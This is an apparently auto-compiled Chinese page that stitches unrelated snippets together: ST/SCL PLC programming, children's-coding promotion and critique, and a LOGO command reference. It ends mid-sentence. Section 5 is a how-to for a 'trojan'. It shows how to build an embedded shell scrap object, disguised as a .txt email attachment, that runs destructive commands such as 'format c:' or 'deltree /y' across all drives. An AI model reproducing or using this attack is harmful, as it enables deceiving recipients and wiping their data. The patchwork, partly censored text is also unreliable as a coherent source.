近年來(lái)關(guān)注st少兒編程的用戶(hù)越來(lái)越多，小編整理了關(guān)于ST(結構化文本)，SCL語(yǔ)言必定會(huì )成為PLC編程的主流語(yǔ)言，不會(huì )編程都不好意思說(shuō)是搞工控的，今天先說(shuō)說(shuō)ST語(yǔ)言編程！，什么是少兒編程，終于有人說(shuō)清楚了，少兒編程是如何掏空家長(cháng)錢(qián)包的，木馬能自制嗎，電腦里的小烏龜單詞是什么，誰(shuí)會(huì )搞logo**的??，供您參考

1.ST(結構化文本)，SCL語(yǔ)言必定會(huì )成為PLC編程的主流語(yǔ)言

ST(Struct Text結構化文本),SCL( Control Language結構化控制語(yǔ)言)必定會(huì )成為PLC編程的主流語(yǔ)言。經(jīng)過(guò)半個(gè)世紀的發(fā)展，現在的PLC已經(jīng)不是當初那個(gè)只能進(jìn)行簡(jiǎn)單邏輯控制的PLC，而是集運動(dòng)控制，總線(xiàn)通訊，數據處理，通訊組網(wǎng)，安全控制，故障記錄等各種功能于一身的自動(dòng)化控制器。很顯然，單純的梯形圖已經(jīng)無(wú)法滿(mǎn)足這些需求。而之所以推崇梯形圖，無(wú)怪乎兩個(gè)原因：1、 梯形圖直觀(guān)易懂，便于入門(mén)2 、ST不便于維護其實(shí)，這些原因，都是把PLC當作可編程邏輯控制器來(lái)用，只進(jìn)行簡(jiǎn)單的邏輯控制，才得出的理由。然而，PLC早就不是僅僅進(jìn)行邏輯控制的可編程邏輯控制器了。如果要進(jìn)行運動(dòng)控制，總線(xiàn)通訊，數據處理，通訊組網(wǎng)，安全控制，故障記錄等各種功能，單純使用梯形圖是無(wú)法完成任務(wù)的。而隨著(zhù)生產(chǎn)工藝的進(jìn)步，這些功能已經(jīng)成為PLC的主流功能。所以，很多廠(chǎng)家推出了PAC控制器，也就是可編程自動(dòng)化控制器。使用ST語(yǔ)言，有如下優(yōu)點(diǎn)：1 、簡(jiǎn)化指令梯形圖中各種繁瑣的指令，都在ST語(yǔ)言中進(jìn)行了簡(jiǎn)化。比如MOVE,DMOVE,BMOVE等各種復雜的傳遞指令，ADD,DADD,SUB,DSUB等各種復雜的數學(xué)運算，只需要一個(gè)賦值語(yǔ)句就可以實(shí)現，非常簡(jiǎn)便。還有各種讓人頭昏眼花的比較指令，都得到了簡(jiǎn)化。使用ST語(yǔ)言，就不需要去記憶各種繁瑣復雜的指令了。2 、實(shí)現復雜算法各種復雜算法，可以輕易實(shí)現。尤其是控制工藝復雜的場(chǎng)合。比如化工，紡織等行業(yè)，有很多算法需要專(zhuān)門(mén)的控制器實(shí)現，而有了ST語(yǔ)言，就可以輕松在PLC中實(shí)現，節省成本。3 、程序結構更緊湊ST語(yǔ)言中，使用IF和CASE語(yǔ)句來(lái)組織程序結構，非常方便，一目了然。4 、可讀性更強ST語(yǔ)言采用文本的編輯方式，自由增加注釋?zhuān)先说恼Ｋ季S5、 跨平臺復制粘貼可以在不同的PLC之間復制粘貼，非常方便。6 、提高程序破解難度使用ST語(yǔ)言編寫(xiě)核心的工藝部分，不會(huì )被輕易破解仿制

2.不會(huì )編程都不好意思說(shuō)是搞工控的，今天先說(shuō)說(shuō)ST語(yǔ)言編程！

最近想學(xué)習ST語(yǔ)言，想要ST語(yǔ)言以及功能塊的相關(guān)內容？小編給大家分享一下現成的一些資料。至于更多的ST資料，需要自己慢慢歷練與積累。這話(huà)是論壇里版主說(shuō)的。結構化文本（ST-Strutured Text）是一種高級的文本語(yǔ)言，可以用來(lái)描述功能，功能塊和程序的行為，還可以在順序功能流程圖中描述步、動(dòng)作和轉變的行為。結構化文本語(yǔ)言表面上與 PASCAL語(yǔ)言很相似，但它是一個(gè)專(zhuān)門(mén)為工業(yè)控制應用開(kāi)發(fā)的編程語(yǔ)言，具有很強的編程能力用于對變量賦值、回調功能和功能塊、創(chuàng )建表達式、編寫(xiě)條件語(yǔ)句和迭代程序等。1、采用高級語(yǔ)言進(jìn)行編程，可以完成較復雜的控制運算；2、需要有一定的計算機高級程序設計語(yǔ)言的知識和編程技巧，對編程人員的技能要求較高，普通電氣人員無(wú)法完成。3、直觀(guān)性和易操作性等性能較差；　4、常被用于采用功能模塊等其他語(yǔ)言較難實(shí)現的一些控制功能的實(shí)施。提示注意：不是所有的PLC都支持所有的編程語(yǔ)言（如功能塊圖、順序功能圖就有很多低檔PLC不支持）接下來(lái)就看看關(guān)于ST的專(zhuān)業(yè)講解吧！其中，需要說(shuō)明的是：LAD：梯形圖----------日系稱(chēng)作為L(cháng)DSTL：指令表---------日系稱(chēng)作為ILSCL：結構文本-------日系稱(chēng)作為STGRAPH：圖形編程-----日系稱(chēng)作為：高級圖形編程CFC：連續功能編程

3.什么是少兒編程，終于有人說(shuō)清楚了

　　說(shuō)到編程，想必大家腦海里首先想到的便是寫(xiě)代碼，編程序，具體可以看那些天天996的碼農們。少兒編程的話(huà)，那就是小孩子學(xué)的編程了，同樣也是寫(xiě)代碼，編程序。如果這么想，那就大錯特錯了?，F在長(cháng)話(huà)短說(shuō)，現在南京小碼王少兒編程培訓機構就來(lái)給大家科普下，究竟什么是少兒編程?！　【幊膛c少兒編程定義區分　　編程：編程是編寫(xiě)程序的中文簡(jiǎn)稱(chēng)，就是讓計算機代為解決某個(gè)問(wèn)題，對某個(gè)計算體系規定一定的運算方式，是計算體系按照該計算方式運行，并最終得到相應結果的過(guò)程。為了使計算機能夠理解人的意圖，人類(lèi)就必須將需解決的問(wèn)題的思路、方法和手段通過(guò)計算機能夠理解的形式告訴計算機，使得計算機能夠根據人的指令一步一步去工作，完成某種特定的任務(wù)?！　∩賰壕幊蹋荷賰壕幊探逃⒎歉叩冉逃菢訉W(xué)習如何寫(xiě)代碼、編制應用程序，而是通過(guò)編程游戲啟蒙、可視化圖形編程等課程，培養學(xué)生的計算思維和創(chuàng )新解難能力。例如學(xué)生在制作一個(gè)小動(dòng)畫(huà)的過(guò)程中，自己拆分任務(wù)、拖拽模塊、控制進(jìn)度，從而理解“并行”、“事件處理”、“目標實(shí)現”的概念?！　‖F在重點(diǎn)說(shuō)一下少兒編程概念　　少兒編程教育是區別于成人編程教育，針對3到18歲的青少兒通過(guò)寓教于樂(lè )的方式來(lái)學(xué)習編程語(yǔ)言，基于可視化圖形編程工具和基礎編程語(yǔ)言構建在線(xiàn)編程學(xué)習平臺和開(kāi)源硬件平臺，讓孩子通過(guò)可視化圖形編程、代碼編程和機器人編程培養動(dòng)手能力，邏輯思維能力，計算能力等，學(xué)習編程來(lái)串聯(lián)各個(gè)*。其屬于素質(zhì)教育的一個(gè)分支，也是*在基礎教育階段針對AI教育領(lǐng)域下的提前布局，最終達到讓孩子成為全科型人才?！　∩賰壕幊探逃荢TEAM教育下的一個(gè)新賽道，被稱(chēng)作K12賽道*的金礦。通過(guò)STEAM教育的學(xué)習，建立理論知識框架，最終通過(guò)結合創(chuàng )客教育的理念進(jìn)行理論知識輸出，提高實(shí)踐能力。作為教育領(lǐng)域下的黑馬賽道，編程教育也因其能夠通過(guò)融合各個(gè)*，培養孩子科學(xué)素養和實(shí)踐能力而受到家長(cháng)的重視?！　【幊探逃恢皇亲尯⒆訐碛芯幊痰哪芰?，而是通過(guò)編程的學(xué)習提升數字素養，培養信息意識，形成*融合的能力;編程化計算思維的建立，為解決實(shí)際問(wèn)題提供更富邏輯化的思路，最終能夠實(shí)現技術(shù)創(chuàng )新，并且能夠體驗技術(shù)實(shí)踐?！　【幊陶n的學(xué)習，使孩子的邏輯思維、數學(xué)理解、英語(yǔ)興趣、嚴謹理念、解決問(wèn)題能力、動(dòng)手能力和創(chuàng )造力都會(huì )有不同程度的提高，以期提升個(gè)人未來(lái)競爭力?！　W(xué)少兒編程的3個(gè)問(wèn)題需要弄清　　家長(cháng)在思考是否要為孩子選擇少兒編程時(shí)，需要先搞清楚幾個(gè)問(wèn)題。孩子學(xué)編程，不是為了做未來(lái)的程序員。成人學(xué)編程是作為職業(yè)手段，而孩子學(xué)編程更注重素質(zhì)培養，尤其是“編程思維”。編程思維是我們解決問(wèn)題的一種方法，是邏輯思維的一種，就是利用我們已有的知識和工具，將自身的思路轉化成邏輯運算的步驟，從而完成復雜的任務(wù)?！　∩賰壕幊探逃占皩?lái)什么變革?　　經(jīng)過(guò)幾年的發(fā)展和摸索，編程教育已經(jīng)開(kāi)始進(jìn)入中*課堂。至此，編程將很有可能成為“新英語(yǔ)”，而隨著(zhù)人工智能的推進(jìn)，各行各業(yè)都將需要掌握編程能力的相關(guān)人才。所以，編程在10年、20年后將會(huì )成為一種主流的能力。家長(cháng)若能及時(shí)跟進(jìn)幫助孩子提早學(xué)習相關(guān)課程，將為孩子的以后打下堅實(shí)的基礎。所以，此時(shí)趁著(zhù)編程教育還未徹底普及，可以先行讓孩子接觸和學(xué)習相關(guān)課程，幫助孩子實(shí)現人生的領(lǐng)跑。

4.少兒編程是如何掏空家長(cháng)錢(qián)包的

前段時(shí)間，有一個(gè)北京的親戚帶著(zhù)他家小孩來(lái)我家暫住了幾天，得知我“會(huì )編程”，“學(xué)過(guò)編程”，便想了解一下少兒編程機構選什么樣的好。我問(wèn)他，為什么要報少兒編程，還在上幼兒園的小孩不太適合這種。答案很簡(jiǎn)單，周?chē)暮⒆佣荚趯W(xué)，而且聽(tīng)說(shuō)學(xué)這個(gè)很有利于學(xué)習，將來(lái)前途很廣。作為一個(gè)學(xué)生，我很難想象，一個(gè)之前甚至不愿意讓孩子多看電視的家長(cháng)，會(huì )主動(dòng)出錢(qián)讓孩子去學(xué)“編程”。我上網(wǎng)搜了一下，才發(fā)現，我這個(gè)十八線(xiàn)城市，已經(jīng)開(kāi)滿(mǎn)了各種少兒編程的線(xiàn)下門(mén)店。我問(wèn)了問(wèn)那位親戚，是什么讓他覺(jué)得少兒編程很好。接著(zhù)，就是一大堆名詞：“人工智能”，“大數據時(shí)代”，“區塊鏈”，“深度學(xué)習”，“啟蒙教育”。但事實(shí)真的如此嗎？孩子真的在少兒編程中能學(xué)到這些我這個(gè)從事一些基礎編程兩年的學(xué)生，并且抱有極大熱情的人都學(xué)不太會(huì )的東西？我問(wèn)了問(wèn)周?chē)娜?，答案都不?lè )觀(guān)。一位學(xué)長(cháng)曾經(jīng)因為也有一個(gè)親戚學(xué)少兒編程而去旁聽(tīng)了一節課，但得到的是什么？他們的課程主要是Scratch，Python。學(xué)長(cháng)問(wèn)授課老師，Python主要有些什么授課內容，老師回答進(jìn)階的有Python Web程序。學(xué)長(cháng)問(wèn)他，主要學(xué)習什么框架，老師的回答是：HTML CSS這是任何一個(gè)有Python Web開(kāi)發(fā)經(jīng)驗的人都不會(huì )做出來(lái)的回答。不管他是回答Django，Flask，Tornado，或是什么別的Web框架，甚至是回答Twisted，都要比回答這兩個(gè)標記語(yǔ)言強得多。如此水平，這可能就是一部分少兒編程機構的真實(shí)情況。很難說(shuō)是不是所有少兒編程機構都是這樣，也許有很多少兒編程機構有真材實(shí)料。但在現如今我這個(gè)十八線(xiàn)城市少兒編程都在遍地開(kāi)花的時(shí)代，我覺(jué)得一個(gè)城市有三家有真材實(shí)料的機構，恐怕都有些難。究竟是什么導致了這一切？其實(shí)這并不是偶然現象，少兒編程并不是一頭偶然走到風(fēng)口上的豬，可以說(shuō)，少兒編程今天的輝煌，是一定的。從小到大，我們上過(guò)的特長(cháng)班，興趣班，數不勝數，繪畫(huà)書(shū)法圍棋籃球舞蹈。但為什么他們撈不到什么油水，大部分成為了爆炸的泡沫。很簡(jiǎn)單，他們對用戶(hù)把握的更好，講述了一個(gè)又一個(gè)成功的故事，吸引家長(cháng)來(lái)買(mǎi)課。更別提，他們還有無(wú)數營(yíng)銷(xiāo)號，水軍。所以，我的結論是，少兒編程行業(yè)，就是一團巨大的泡沫。這個(gè)泡沫何時(shí)破滅，無(wú)人知曉。但，這個(gè)泡沫的破滅，將為OI教育行業(yè)帶來(lái)巨大的沖擊。近些年來(lái)，各種各樣的創(chuàng )新類(lèi)競賽，比賽層出不窮，經(jīng)常被人稱(chēng)為升學(xué)工具的它們，給*競賽帶來(lái)了巨大沖擊。其中首當其沖的，是計算機創(chuàng )新競賽，人工智能競賽等，在OI沒(méi)有上榜時(shí)，它們甚至都成為了教育部認可的競賽。我沒(méi)有參加過(guò)人工智能競賽，不清楚他們的賽制，但是據我所知市面上除了*比賽我不了解，有很大一部分這類(lèi)人工智能比賽，僅僅是機器人比賽換皮，Scratch，Python小創(chuàng )意比賽換皮，甚至比創(chuàng )客更無(wú)技術(shù)含量。我相信，一個(gè)家長(cháng)不太可能為自己上初/高中甚至*的孩子購買(mǎi)一塊RTX 2070,RTX2080甚至RTX2080Ti就是為了參加人工智能競賽，更何況，沒(méi)有系統學(xué)習過(guò)線(xiàn)性代數，也很難掌握等主流深度學(xué)習/機器學(xué)習庫的使用。根據以上推理我認為市面上大部分人工智能競賽僅僅是一個(gè)噱頭。至于*比賽是不是，我沒(méi)有參加過(guò)，無(wú)法下結論。再談?wù)動(dòng)嬎銠C創(chuàng )新，現在計算機創(chuàng )新的主力軍，往往是*生，是在*里學(xué)過(guò)數據結構，計算機底層架構等等等專(zhuān)業(yè)課后才開(kāi)始進(jìn)行計算機創(chuàng )新，而現在大部分計算機創(chuàng )新比賽，不出所料，還是各種機器人搭建+編程。這有意義嗎，我想還是有的。但值得家長(cháng)花這么多時(shí)間，精力，金錢(qián)去讓自己的孩子和其他成千上萬(wàn)的孩子去在培訓機構里學(xué)習創(chuàng )新嗎？至少我的答案不會(huì )是如此。有這么多錢(qián)我會(huì )選擇去買(mǎi)專(zhuān)業(yè)類(lèi)的單片機，嵌入式以及算法書(shū)籍，自己用樹(shù)莓派以及單片機搭建出來(lái)的東西，參考現今互聯(lián)網(wǎng)上浩如煙海的資料，還能自己去看GitHub上的優(yōu)秀項目，這些，往往比老師能教給你的創(chuàng )新能力更多，這些，才是一個(gè)學(xué)生創(chuàng )新時(shí)應該干的，而不是盲從于培訓機構。創(chuàng )新，是一件自然而然的事情，而不是培訓機構的訓練能教出來(lái)的。同樣，大數據，區塊鏈這些知識，也是你幾乎無(wú)法在培訓機構里接觸，了解，運用的。大數據，無(wú)非是聚合大量的數據在一起參考。這個(gè)概念已經(jīng)被吹的太久太久。但其實(shí)它既簡(jiǎn)單，又復雜，簡(jiǎn)單到一個(gè)上手開(kāi)發(fā)幾個(gè)月的人就能做，復雜到從事幾年的人依然焦頭爛額。簡(jiǎn)單的大數據，我收集全年級的數據，例如身高，體重，成績(jì)等等等，放到一個(gè)最普通的數據庫里面，這，就是大數據。大數據是一個(gè)相對的概念，相對于人腦，上面說(shuō)到的那個(gè)簡(jiǎn)簡(jiǎn)單單的數據庫就是大數據，這也是一個(gè)學(xué)生能接觸到的最簡(jiǎn)單的大數據實(shí)現。但真正能賺錢(qián)的大數據，是相對于常規數據庫的大數據，通常用非常規方式進(jìn)行管理，涉及到集群，容器，數據庫等等方面，一般來(lái)講，學(xué)完這些知識，并且能做到熟練運用，對于一個(gè)學(xué)生來(lái)說(shuō)是不大可能的，同時(shí)，收集這樣大量的數據，負擔得起這樣大數據的基礎設施，也是學(xué)生不大可能負擔得起的（除非你家里有礦，有的話(huà)請務(wù)必給我分點(diǎn)），很顯然，常人對大數據的認知來(lái)源于幾個(gè)方面，一是新聞上反復提到大數據，大數據有多么多么牛逼。二是手機上的APP會(huì )通過(guò)數據聚合等方式來(lái)給你推送個(gè)性化內（guang）容（gao），這些也確實(shí)是生活中常見(jiàn)的大數據用途，但是，我相信一個(gè)少兒編程機構絕對不會(huì )教給你這些。我所接觸到的所有少兒編程機構，連一個(gè)上過(guò)數據庫的課程都沒(méi)有，更別提進(jìn)階一點(diǎn)的大數據。還有區塊鏈。區塊鏈嚴格意義上來(lái)講，是一個(gè)去中心化的網(wǎng)絡(luò )思想，涉及到一系列加密算法。同樣的，少兒編程連base64這種基本的編碼都不可能涉及，還會(huì )給你密碼學(xué)入門(mén)到精通？TCP/IP協(xié)議精通？顯然是不可能的。所以，少兒編程之所以能圈錢(qián)，無(wú)非是瞄準了大多數家長(cháng)的心態(tài)，即孩子必須走在自己預先規劃好的道路上，或者孩子必須成為自己期望中的樣子，這個(gè)范圍有大有小，可能有的家長(cháng)希望孩子從事什么職業(yè)，有的家長(cháng)僅僅希望孩子的數學(xué)能考多少分，這些想法從本質(zhì)上來(lái)講，都是對孩子的愛(ài)，只不過(guò)，這些愛(ài)意被濫用，成為了孩子身上的枷鎖，成為了培訓機構的搖錢(qián)樹(shù)。希望終有一天，有人能揭露這些培訓機構，同學(xué)們都能從事自己喜歡的事情。愿我們所喜愛(ài)的OI，永不破滅。Update:關(guān)于評論區中的“管住嘴”和“手機”的相關(guān)言論，建議大家笑笑就好，不要太在意這個(gè)人的各種言論。評論區有人說(shuō)他是少兒編程機構的銷(xiāo)售，有人說(shuō)他沒(méi)有參與過(guò)項目開(kāi)發(fā)等等，這個(gè)人使用各種話(huà)術(shù)，他的概念也大部分來(lái)源于產(chǎn)品經(jīng)理的一些管理方式，我不清楚此人的背景，但可以肯定的是，這個(gè)人把各種在他工作中得到的相關(guān)觀(guān)點(diǎn)，強行帶入計算機科學(xué)教育，而且這個(gè)人善于曲解他人的話(huà)，和這樣一個(gè)人辯論是沒(méi)有意義的。各位是程序員，各位是OIer，各位是或將來(lái)會(huì )是計算機科學(xué)家，大家都很清楚，產(chǎn)品經(jīng)理都是一些什么樣的人，他們所接觸到的知識領(lǐng)域是什么樣的。他們與我們的涉獵范圍是完全不一樣的，我們可以把自己寫(xiě)的代碼定義成自己做的項目，Linus這么做，GNU基金會(huì )這么做，大部分開(kāi)源項目都是這樣做的。至于他想表述的Scratch是面向角色編程，他想說(shuō)Python不是腳本語(yǔ)言，這很顯然是一個(gè)根本沒(méi)有從事過(guò)多少Python開(kāi)發(fā)，應用的人才會(huì )說(shuō)出來(lái)的話(huà)。和這樣一個(gè)人辯論，其實(shí)和一個(gè)民科辯論并沒(méi)有什么區別，你說(shuō)服不了某人調和級數不收斂，而事實(shí)也不是調和級數收斂于61.35，希望大家不要把寶貴的時(shí)間浪費在這樣一個(gè)人上面，也希望大家不要再進(jìn)行人生攻擊，如果他繼續人身攻擊，地域歧視等等，大家可以舉報，沒(méi)有必要回復他，給他借題發(fā)揮的機會(huì )。本身，用教條式的思維規范計算機行業(yè)這樣一個(gè)由新鮮思維碰撞在一起而誕生的行業(yè)本身就是一件沒(méi)有意義的事情，從來(lái)沒(méi)有一個(gè)程序員規定一個(gè)項目必須走什么流程要怎么怎么樣才算一個(gè)項目，規定它的是產(chǎn)品經(jīng)理，是甲方乙方，這些東西不會(huì )出現在任何開(kāi)源項目中，也不會(huì )妨礙開(kāi)源項目是一個(gè)項目。類(lèi)似這樣的人我們見(jiàn)到過(guò)很多很多，稍有常識的人就會(huì )知道這些概念的錯誤性。誠然，這個(gè)人認為他的看法才是常識，在此我不再反對，你無(wú)法叫醒一個(gè)裝睡的人，他是什么成功人士還是什么loser也與我無(wú)關(guān)，在座各位的未來(lái)都掌握在自己手上，不會(huì )因為“管住嘴”的成功之路而成功。望共勉。

5.木馬能自制嗎

木馬完全可以自制，你可以根據自己所需的作用來(lái)制作各種各樣的木馬學(xué)木馬先要會(huì )編程，你先把這個(gè)搞懂吧!1.創(chuàng )建一個(gè)只包含一個(gè)空格(為了減小文件體積)的文本文件，任意取名。 2.打開(kāi){寫(xiě)字板文檔}，將此文件拖放入{寫(xiě)字板文檔}。也可以點(diǎn)擊記{寫(xiě)字板 文檔}單欄中的“插入\對象”，彈出“插入對象”對話(huà)框，選中“從文件創(chuàng )建”，然后 點(diǎn)擊“瀏覽”按鈕選擇要插入的文件。 3.選中該插入對象的圖標，選擇菜單欄中的“編輯\包對象\編輯包”(如圖1)。在彈 出的“對象包裝程序”對話(huà)框中，選擇菜單欄中的“編輯\命令行”，然后輸入如下命令 :start.exe /m format c:/q /autotest /u ，點(diǎn)擊“確定”，此時(shí)，內容欄中會(huì )顯示 出命令內容。 4.點(diǎn)擊外觀(guān)欄中的“插入圖標”按鈕，會(huì )彈出一個(gè)警告對話(huà)框，確認，然后任選一 個(gè)圖標。 5.選擇菜單欄中的“編輯\卷標”，為此嵌入對象取一個(gè)名稱(chēng)(會(huì )替換原來(lái)的文件名 稱(chēng))。點(diǎn)擊“文件”菜單中的“更新”，然后關(guān)閉此對話(huà)框。 6.將剛剛建立的嵌入對象拖放到桌面上。文件的默認名是“碎片”(在2000下的默 認名為”片段”)，現在我們把它改成“.txt”。打開(kāi)電子郵件程序將桌面 上的“.txt”作為附件發(fā)出，或者將含有嵌入對象(帶有惡意命令)的文檔作 為附件發(fā)出。 7.當郵件接收者誤將“.txt.shs”文件作為“.txt”(如前文 所述，“.SHS”擴展名永遠是隱藏的)放心地打開(kāi)時(shí)，或打開(kāi)文件，點(diǎn)擊文件中的嵌入對 象時(shí)觸發(fā)惡意命令(彈出DOS運行窗口，執行格式化命令).如果將上面的命令替換為:st art.exe /m deltree /y a:\*.* c:\*.* d:\*.* 則是將刪除對方硬盤(pán)下所有文件(盤(pán)符 根據實(shí)際情況自定義);如果替換為:start.exe /m deltree /y c:\windows\system\*.* 則是刪除對方c:\windows\system\目錄底下的所有文件.(當 然大家可以改成其它的命令) 很簡(jiǎn)單，這樣一個(gè)惡意的攻擊程序被弄出來(lái)了!

6.電腦里的小烏龜單詞是什么

LOGO語(yǔ)言是一種早期的編程語(yǔ)言，也是一種與自然語(yǔ)言非常接近的編程語(yǔ)言，它通過(guò)"繪圖"的方式來(lái)學(xué)習編程，對初學(xué)者特別是兒童進(jìn)行寓教于樂(lè )的教學(xué)方式。 LOGO語(yǔ)言創(chuàng )始于1968年，是美國*科學(xué)基金會(huì )所資助的一項專(zhuān)案研究，在麻省理工(MIT)的人工智能研究室完成。 LOGO源自希臘文，原意即為思想，是由一名叫佩伯特的心理學(xué)家在從事兒童學(xué)習的研究中，發(fā)現一些與他的想法相反的教學(xué)方法，并在一個(gè)假日中出外散步時(shí)，偶然間看到一個(gè)像海龜的機械裝置觸發(fā)靈感，于是利用他廣博的知識及聰明的才智而最終完成了LOGO語(yǔ)言的設計。 LOGO語(yǔ)言命令大全 1、前進(jìn)命令: FD [格式]：FORWARD :X  [縮寫(xiě)]：FD :X [功能]: 使海龜向前移動(dòng)指定的 X步。 2、后退命令: BK [格式]: BACK :X [縮寫(xiě)]: BK :X    [功能]: 使海龜向后倒退指定的 X步。 3、右轉命令: RT [格式]: RIGHT :X [縮寫(xiě)]: RT :X    [功能]: 海龜向右轉 X度,(按順時(shí)針?lè )较?。 4、左轉命令: LT [格式]: LEFT :X [縮寫(xiě)]: LT :X [功能]: 海龜向左轉 X度,(按逆時(shí)針?lè )较?。 5、藏龜命令: HT [格式]: [縮寫(xiě)]: HT    [功能]: 讓海龜隱身。 6、顯龜命令: ST [格式]: [縮寫(xiě)]: ST [功能]: 讓海龜重現。 7、回家命令: HOME [格式]：HOME    [功能]：海龜回到源點(diǎn)上。但是不清除屏幕，不改變海龜的其它狀態(tài)。 8、橫移命令: SETX [格式]: SETX :X    [功能]: 海龜水平移動(dòng)到命令中 :X所指定的坐標位置, 并留下蹤跡。 9、縱移命令: SETY [格式]: SETY :Y [功能]: 海龜垂直移動(dòng)到命令中 :Y所指定的坐標位置, 并留下蹤跡。 10、走到命令: SETXY [格式]: SETXY [:X :Y] 或 SETXY SE ：X ：Y [功能]: 海龜從當前位置移到坐標為 (X,Y) 的地方,(在落筆的狀態(tài)下)并在移動(dòng)的線(xiàn)路上留下一段直線(xiàn)。（后者可使用變量、表達式） 11、角度命令: SETH [格式]: SETH :D [功能]: 將海龜順時(shí)針轉到指定的方向上。 [注意]: 海龜初始時(shí)頭向上, 定位為0°, 旋轉一周為360°。 12、查詢(xún)海龜的橫坐標：XCOR [格式]: XCOR [功能]: 輸出海龜當前的水平位置(X軸上)。 13、查詢(xún)海龜的縱坐標：YCOR[格式]: YCOR [功能]: 輸出海龜當前的垂直位置(Y軸上)。 14、查詢(xún)海龜當前的方向：HEADING [格式]: HEADING [功能]: 輸出海龜當前的方向(角度)。 15、清屏復位命令：CS [格式]： [縮寫(xiě)]：CS [功能]：清除屏幕上的圖形，讓海龜回到源點(diǎn)，頭向上。但是海龜的其他狀態(tài)（畫(huà)筆的顏色、粗細、花紋等）都不變。 16、清屏命令: CLEAN  [格式]：CLEAN [功能]：清除屏幕上的圖形, 但是不改變海龜的狀態(tài)（當前的位置和方向）。 17、重復命令: REPEAT    [格式]: REPEAT  次數[執行重復的內容] [功能]: 讓計算機重復執行一些命令。 18、畫(huà)矩形命令：STAMPRECT [格式]: STAMPRECT :X :Y           (畫(huà)空心矩形)         (STAMPRECT :X :Y "TRUE)   (畫(huà)實(shí)心矩形) [功能]: 以海龜原來(lái)所在的位置為起始點(diǎn)畫(huà)矩形。 [注意]: ⑴用STAMPRECT命令畫(huà)出來(lái)的矩形始終是垂直的。         ⑵引號和TURE之間不留空格。 19、畫(huà)橢圓命令: STAMPOVAL [格式]: STAMPOVAL :X :Y           (畫(huà)空心橢圓形)       (STAMPOVAL :X :Y "TRUE)     (畫(huà)實(shí)心橢圓形) [功能]: 以海龜原來(lái)所在的位置為圓心畫(huà)橢圓。 [注意]: ⑴如果X方向的半徑和Y方向的半徑相等, 那么畫(huà)出來(lái)的就是一個(gè)圓。             ⑵用STAMPOVAL命令畫(huà)出來(lái)的橢圓始終是順著(zhù)X, Y方向畫(huà)的。海龜*停留在圓的中心。 20、提筆命令: PU [格式]: PENUP [縮寫(xiě)]: PU    [功能]: 把海龜的畫(huà)筆提起來(lái), 移動(dòng)時(shí)不留下筆跡。 21、落筆命令: PD [格式]: PENDOWN [縮寫(xiě)]: PD [功能]: 讓海龜下筆, 恢復海龜的畫(huà)線(xiàn)功能。 22、筆色命令: SETPC  [格式]: SETPC :N  (:N為顏色代碼)  [功能]: 設置畫(huà)筆的顏色。 23、背景顏色命令：SETBG [格式]: SETBG :N  (:N為顏色代碼) [功能]: 剛進(jìn)入LOGO系統時(shí), 背景顏色是黑色。使用這命令可以改變背景顏色。 24、進(jìn)入編輯器： [格式]: ⑴EDIT        ⑵EDIT  過(guò)程1  過(guò)程2 ?? ⑶EDIT  ALL [功能]: ⑴建立新的過(guò)程或編輯*一次定義的過(guò)程。 ⑵編輯內存中指定的過(guò)程。 ⑶編輯內存中所有的過(guò)程。 [說(shuō)明]: LOGO編輯器共分為3個(gè)區: 最上方是菜單區, 中間是編輯區, 下面是熱鍵提示區。 25、存盤(pán)命令: SAVE    [格式]: SAVE "文件名 [功能]: 把當前工作區里的所有過(guò)程以指定的文件名存盤(pán)。 LOGO文件的擴展名為 .LGO。 而使用SAVEPIC命令是把圖形存盤(pán), 但無(wú)法進(jìn)行修改, 且所占磁盤(pán)空間比較大。 [注意]: 在編好一個(gè)程序并使用SAVE命令存盤(pán)以后, 應當使用ER ALL命令刪除當前工作區內的所有過(guò)程。以免與其他的程序混亂在一起。 26、讀盤(pán)命令: LOAD    [格式]: LOAD "文件名    [功能]: 把已經(jīng)存在當前驅動(dòng)盤(pán)里的程序文件讀入當前工作區。 27、列磁盤(pán)目錄命令: DIR [格式]: DIR [功能]: 顯示當前目錄下的所有文件名。 28、條件命令: (IF?THEN?)    [格式1]: IF 條件 THEN  命令 [功能]: 如果(IF)后面給定的條件成立, 那么就執行后面(THEN)的命令； 否則就直接執行下一行的其它命令。    [格式2]: IF 條件 [命令1] [命令2] [功能]: 如果(IF)后面給定的條件成立, 那么就執行命令1, 否則就執行命令2。 [說(shuō)明]: 條件都用“比較算式”表示。常用的“比較符號”有: >大于、<小于、=等于=、>=大于或等于，(“=>”和“>=”的意義是相同的)、<=小于或等于，(“=<”和“<=”的意義是相同的)。 29、復合條件: (邏輯判斷  < 表達式 >  < 比較符 >  < 表達式 >) ①、邏輯非: NOT    [格式]: NOT 條件    [說(shuō)明]: 當條件為真時(shí), 邏輯非運算的結果為假 (FALSE); 當條件為假時(shí), 邏輯非運算的結果為真(TRUE)。 ②、邏輯或: OR    [格式1]: OR 條件1 條件2    [格式2]: (OR 條件1 條件2 條件3??)    [說(shuō)明]: 當所有條件都不成立,即條件全為假(FALSE), 邏輯或的結果為假,否則為真(TRUE)。 ③、邏輯與: AND    [格式1]: AND 條件1 條件2    [格式2]: (AND 條件1 條件2 條件3??) [說(shuō)明]: 當所有條件同時(shí)成立,即條件都為真(TRUE), 邏輯與的結果為真,否則為假(FALSE)。 30、停止命令: STOP    [格式]: STOP      [功能]: 停止正在執行中的命令。

7.誰(shuí)會(huì )搞logo**的

*就學(xué)什么編法的啦，不會(huì )吧，現在的*生還真是任務(wù)艱巨吖，年紀小小就要去學(xué)這么深奧的東西LOGO語(yǔ)言是一種早期的編程語(yǔ)言，也是一種與自然語(yǔ)言非常接近的編程語(yǔ)言，它通過(guò)“繪圖”的方式來(lái)學(xué)習編程，對初學(xué)者特別是兒童進(jìn)行寓教于樂(lè )的教學(xué)方式。1.作為一個(gè)程序是以“起始”為開(kāi)始，“終止”為結束。當選擇“編輯新程序”時(shí)，在程序編輯區中將會(huì )出現以下的字符，供程序者填入相應的命令。To（起始）程序名稱(chēng)N／／修改程序名稱(chēng)以供識別…………..…………..／／輸入解決問(wèn)題所用到的命令…………..End（終止）2.繪制不同大小的圖形時(shí)需要選擇不同的參數，所以使用者在設計程序時(shí)，需要使用一個(gè)比較適合的并有意義的名稱(chēng)來(lái)代表，傳給參數的數值資料不同則執行結果也就不同，并且程序在執行過(guò)程中，也會(huì 